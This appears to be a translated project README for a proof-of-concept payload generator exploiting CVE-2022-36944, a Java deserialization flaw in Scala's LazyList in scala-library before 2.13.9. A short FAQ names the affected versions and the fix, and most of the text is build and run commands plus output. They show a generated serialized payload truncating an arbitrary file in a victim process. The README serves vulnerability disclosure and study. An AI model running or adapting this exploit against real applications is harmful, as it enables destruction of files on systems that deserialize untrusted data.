CVE-2022-36944 payload 生成器

这个小项目用于演示 CVE-2022-36944 漏洞的概念验证。它与 ysoserial 类似，但仅针对该 CVE 生成使用 LazyList 类的 payload。

快速 FAQ

哪些构件带来了该漏洞？

版本在 2.13.9 之前的 org.scala-lang:scala-library

哪些应用程序易受攻击？

要使你的应用程序可利用，必须同时满足两个条件：

你的应用程序的 classpath 中包含易受攻击的 scala-library jar
你的应用程序中某处最终调用了 ObjectInputStream#readObject()，并向其传入了不可信（攻击者可控）的数据

该漏洞在哪里被修复？

参见 scala PR：#10118

构建

mvn clean package

运行

以下命令会将 payload 输出到 stdout，可用于截断受害者机器上的任意文件：

mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="/file/to/truncate false"

演示

A) 通过文件

准备一个包含一些数据的测试文件：

$ yes sometestdata > test_data
^C
$ head test_data 
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata
sometestdata

生成 payload 并将其保存到 payload.ser 文件：

$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" > payload.ser

运行受害者进程（预期会出现 ClassCastException）：

$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="payload.ser"
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException

检查受害者文件是否已被截断：

$ head test_data 
$

B) 通过管道输入到 stdin

步骤 2-3 可以这样合并（对 Victim 使用 "-" 作为文件）：

$ mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.payload.Main" -Dexec.args="${PWD}/test_data false" | mvn -q exec:java -Dexec.mainClass="poc.cve.lazylist.victim.Victim" -Dexec.args="-"
[ERROR] Failed to execute goal org.codehaus.mojo:exec-maven-plugin:3.1.0:java (default-cli) on project lazylist-cve-poc: An exception occurred while executing the Java class. java.lang.ClassCastException: class java.io.FileOutputStream cannot be cast to class scala.collection.immutable.LazyList$State (java.io.FileOutputStream is in module java.base of loader 'bootstrap'; scala.collection.immutable.LazyList$State is in unnamed module of loader org.codehaus.mojo.exec.URLClassLoaderBuilder$ExecJavaClassLoader @72805168) -> [Help 1]
[ERROR] 
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR] 
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException

lazylist-cve-poc

最受欢迎